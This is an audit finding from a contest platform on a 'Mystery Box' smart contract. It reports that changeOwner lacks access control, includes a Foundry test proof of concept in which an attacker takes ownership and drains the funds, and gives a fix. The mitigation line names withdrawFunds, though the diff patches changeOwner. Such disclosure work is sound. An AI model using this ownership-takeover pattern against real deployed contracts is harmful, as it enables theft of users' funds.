Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can call `MysteryBox::changeOwner` and change the owner of the contract, potentially stealing all the funds

codedesignz

Description: MysteryBox::changeOwner function does not have any access control and anyone can call this function to change the owner. A malicious user can set themself the owner of the contract and drain all the funds easily.

Impact: Ownership of the contract can be taken over by a malicious actor and they will have full control of the contract.

Proof of Concept:

  1. Malicous user calls MysteryBox::changeOwner function and set's themself as the owner.

  2. They can follow up with another call to MysteryBox::withdrawFunds and steal all the money.

Proof of Code:

Code

Place the folowing into TestMysteryBox.t.sol

function testNonOwnerCanSetThemselvesAsOwnerAndStealFunds() public {
// Add some funds to mysterybox by purchasing some mystery boxes.
// 25 users purchase mystery box
for (uint160 i = 0; i < 25; i++) {
address user = address(i);
vm.startPrank(user);
vm.deal(user, 0.1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
vm.stopPrank();
}
​
address maliciousAccount = makeAddr("maliciousAccount");
uint256 balanceOfMysteryBoxBeforeDrainingFunds = address(mysteryBox).balance;
vm.startPrank(maliciousAccount);
mysteryBox.changeOwner(maliciousAccount);
// Malicious account draining all the funds
mysteryBox.withdrawFunds();
vm.stopPrank();
​
uint256 endingBalanceOfMaliciousAccount = maliciousAccount.balance;
uint256 balanceOfMysteryBoxAfterDrainingFunds = address(mysteryBox).balance;
​
// Malicous actor steals all the funds
assertEq(endingBalanceOfMaliciousAccount, balanceOfMysteryBoxBeforeDrainingFunds);
//Mystery contract is drained
assertEq(balanceOfMysteryBoxAfterDrainingFunds, 0);
}

Recommended Mitigation: Add access control to the MysteryBox::withdrawFunds.

function changeOwner(address _newOwner) public {
+ if (msg.sender != owner) {
+ revert("Only current owner can call this function");
+ }
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!